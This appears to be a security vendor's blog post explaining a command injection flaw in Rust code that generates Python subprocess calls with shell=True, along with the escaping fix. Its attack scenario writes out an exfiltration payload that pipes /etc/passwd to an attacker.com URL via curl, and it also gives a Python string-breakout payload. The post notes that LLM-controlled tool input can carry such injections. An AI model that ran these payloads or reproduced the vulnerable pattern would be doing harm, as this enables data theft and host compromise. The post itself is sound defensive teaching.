Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Rust-generated Python scripts and how to fix it

A critical command injection vulnerability (CWE-78) was discovered in the Linux automation module of the `goose-mcp` crate, where Rust code generated Python scripts that passed user-controlled commands directly to `subprocess.run()` with `shell=True`. An attacker who could influence the `commands` parameter in `execute_system_script()` could inject arbitrary shell commands using metacharacters like `;`, `|`, or backticks. The fix replaces `shell=True` with `shlex.split()` and `shell=False`, and

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in `crates/goose-mcp/src/computercontroller/platform/linux.rs`, where Rust code generated Python scripts that called `subprocess.run(cmd, shell=True)` with unescaped, user-controlled input. Any attacker controlling the `commands` parameter could inject shell metacharacters (`;`, `|`, `` ` ``, `$()`) to execute arbitrary OS commands. The fix switches to `subprocess.run(shlex.split(cmd), shell=False)` and escapes backslashes and single quotes before embedding commands in the generated script, eliminating the shell interpretation layer entirely.

Vulnerability at a Glance

cweCWE-78
fixSwitch to `shell=False` with `shlex.split()` and escape single quotes and backslashes before string interpolation
riskArbitrary OS command execution on the host system
languageRust (generating Python)
root causeUser-controlled strings interpolated unescaped into `subprocess.run(..., shell=True)` calls in Rust-generated Python scripts
vulnerabilityOS Command Injection

How Command Injection Happens in Rust-Generated Python Scripts and How to Fix It


The Vulnerability at a Glance

Field Detail
Vulnerability OS Command Injection
CWE CWE-78
Language Rust (generating Python)
Risk Arbitrary OS command execution
Root Cause Unsanitized user input in subprocess.run(..., shell=True)
Fix shell=False + shlex.split() + quote escaping

Introduction

The linux.rs file inside crates/goose-mcp/src/computercontroller/platform/ is responsible for automating system-level interactions on Linux hosts. It does something architecturally interesting — and, as it turned out, dangerous: it generates Python scripts at runtime in Rust, then executes them. A flaw in how those scripts were constructed at line 185 meant that anyone who could influence the commands parameter passed to execute_system_script() could run arbitrary OS commands on the host.

The vulnerability is a textbook CWE-78 (OS Command Injection), but with a twist that makes it easy to miss in code review: the injection point is in Rust string formatting code, and the dangerous call is in Python. The two-language boundary obscures the taint flow.


The Vulnerability Explained

The Dangerous Pattern

The vulnerable code generated a Python helper script in Rust. Here is the relevant run_command function that was being written into the script:

# Generated by vulnerable Rust code
def run_command(cmd):
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        return result.stdout
    except Exception as e:
        print(f"Error executing {cmd}: {e}", file=sys.stderr)

And the Rust code that built the per-command calls was:

// VULNERABLE — before the fix
for cmd in commands {
    script.push_str(&format!("run_command('{}')\n", cmd));
}

Two problems compound here:

  1. shell=True in Python's subprocess.run() tells the OS to pass the command string to /bin/sh -c. This means every shell metacharacter — ;, |, &, $(), backticks — is interpreted by the shell.

  2. No escaping before string interpolation in Rust. The format!("run_command('{}')\n", cmd) call inserts the raw value of cmd directly into the Python source code. If cmd contains a single quote, it breaks out of the Python string literal. If it contains a semicolon, the shell treats it as a command separator.

Attack Scenario

Imagine an attacker who can influence the commands vector passed into execute_system_script() — perhaps through an API endpoint, a plugin input, or an LLM-controlled tool invocation. They supply:

echo hello; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

The Rust code generates this Python:

run_command('echo hello; curl http://attacker.com/exfil?data=$(cat /etc/passwd)')

When the Python script runs, /bin/sh receives:

echo hello; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

The shell executes both commands. /etc/passwd is exfiltrated. The attacker can escalate from there — writing files, spawning reverse shells, or pivoting within the container network.

A simpler payload demonstrates the issue even more starkly:

'; import os; os.system('id') #

This would break out of the Python string entirely and inject arbitrary Python code into the generated script.

Why the Two-Language Boundary Is Dangerous

This vulnerability is subtle because the injection point (Rust string formatting) and the execution point (Python subprocess) are in different languages. A developer auditing only the Rust code might not notice that the formatted string becomes executable Python. A developer auditing only the Python function signature might not realize that cmd is user-controlled. Static analysis tools that don't model cross-language code generation can miss this class of bug entirely.


The Fix

The fix addresses both root causes: the shell interpretation layer, and the lack of escaping before interpolation.

Before and After

Before (vulnerable):

// In create_python_script() — the generated Python function
r#"
def run_command(cmd):
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        return result.stdout
    except Exception as e:
        print(f"Error executing {cmd}: {e}", file=sys.stderr)
"#

// Command interpolation — no escaping
for cmd in commands {
    script.push_str(&format!("run_command('{}')\n", cmd));
}

After (fixed):

// Fixed Python function — shell=False, shlex.split() for tokenization
r#"
import shlex

def run_command(cmd):
    try:
        result = subprocess.run(shlex.split(cmd), shell=False, capture_output=True, text=True)
        return result.stdout
    except Exception as e:
        print(f"Error executing {cmd}: {e}", file=sys.stderr)
"#

// Command interpolation — backslash and single-quote escaping
for cmd in commands {
    let escaped = cmd.replace('\\', "\\\\").replace('\'', "\\'");
    script.push_str(&format!("run_command('{}')\n", escaped));
}

Why Each Change Matters

1. shell=False eliminates the shell interpretation layer.

With shell=True, Python passes the entire command string to /bin/sh -c "...". Every shell metacharacter is live. With shell=False, Python calls execvp() directly — the OS receives the program name and argument list, and there is no shell involved to interpret ;, |, $(), or backticks. This is the most impactful single change.

2. shlex.split() safely tokenizes the command string.

Since shell=False requires a list of arguments rather than a single string, shlex.split(cmd) is used to parse "ls -la /tmp" into ["ls", "-la", "/tmp"]. Crucially, shlex.split() handles quoted strings and escape sequences according to POSIX shell rules, so "echo 'hello world'" becomes ["echo", "hello world"] — a single argument, not two.

3. Escaping backslashes and single quotes in Rust prevents Python string-literal injection.

Even with shell=False, a malicious cmd value containing a single quote could still break out of the Python string literal and inject arbitrary Python code into the generated script. The two-step Rust escaping:

let escaped = cmd.replace('\\', "\\\\").replace('\'', "\\'");

ensures that a cmd of '; os.system('id') becomes \'; os.system(\'id\') inside the Python source — which is interpreted as a literal string value, not a code injection.

Note on ordering: The backslash replacement must come first. Replacing ' before \\ would cause the newly inserted \\ escape sequences to be double-escaped in a second pass.


Key Takeaways

  • shell=True is the root cause, not just a contributing factor. Switching to shell=False with a list of arguments removes the entire class of shell-metacharacter injection, regardless of what the input contains.
  • Cross-language code generation creates hidden taint flows. The injection point was in Rust (format!(..., cmd)), but the sink was in Python (subprocess.run(..., shell=True)). Always trace data flow across language boundaries when generating executable code.
  • Escaping order matters in multi-layer string construction. In the Rust fix, backslashes must be escaped before single quotes; reversing the order would re-introduce a vulnerability.
  • shlex.split() is not a security control by itself — it tokenizes safely, but the real protection comes from shell=False making the tokenized list irrelevant to shell interpretation.
  • LLM-driven tools that pass commands to system automation modules are high-value injection targets. If a language model can influence the commands parameter, prompt injection becomes a path to OS command injection.

How Orbis AppSec Detected This

  • Source: The commands parameter passed to execute_system_script() in linux.rs — user- or LLM-controlled strings with no prior sanitization.
  • Sink: subprocess.run(cmd, shell=True, ...) inside the Python script generated at line 185 of crates/goose-mcp/src/computercontroller/platform/linux.rs.
  • Missing control: No escaping of shell metacharacters or Python string-literal special characters before interpolation; shell=True enabled shell interpretation of the full command string.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced shell=True with shell=False + shlex.split() in the generated Python, and added backslash/single-quote escaping in the Rust string interpolation loop.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a reminder that command injection doesn't always look like a SQL string concatenation or a raw exec() call. When Rust generates Python that invokes shell commands, the dangerous pattern is split across two languages and two abstraction layers — making it easy to overlook in manual review. The fix is clean and surgical: shell=False removes the attack surface at the OS level, shlex.split() handles argument tokenization correctly, and explicit escaping in Rust prevents Python source-level injection. Together, these changes enforce the security invariant that shell commands never include unsanitized user input.

For developers building automation tools, agent frameworks, or any system that constructs and executes scripts from dynamic input: treat every format!() call that feeds into an executed script as a potential injection point, and apply the same rigor you would to a SQL query builder or an HTML template renderer.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #10748

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.

high

How command injection happens in JavaScript/Node.js and how to fix it

A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.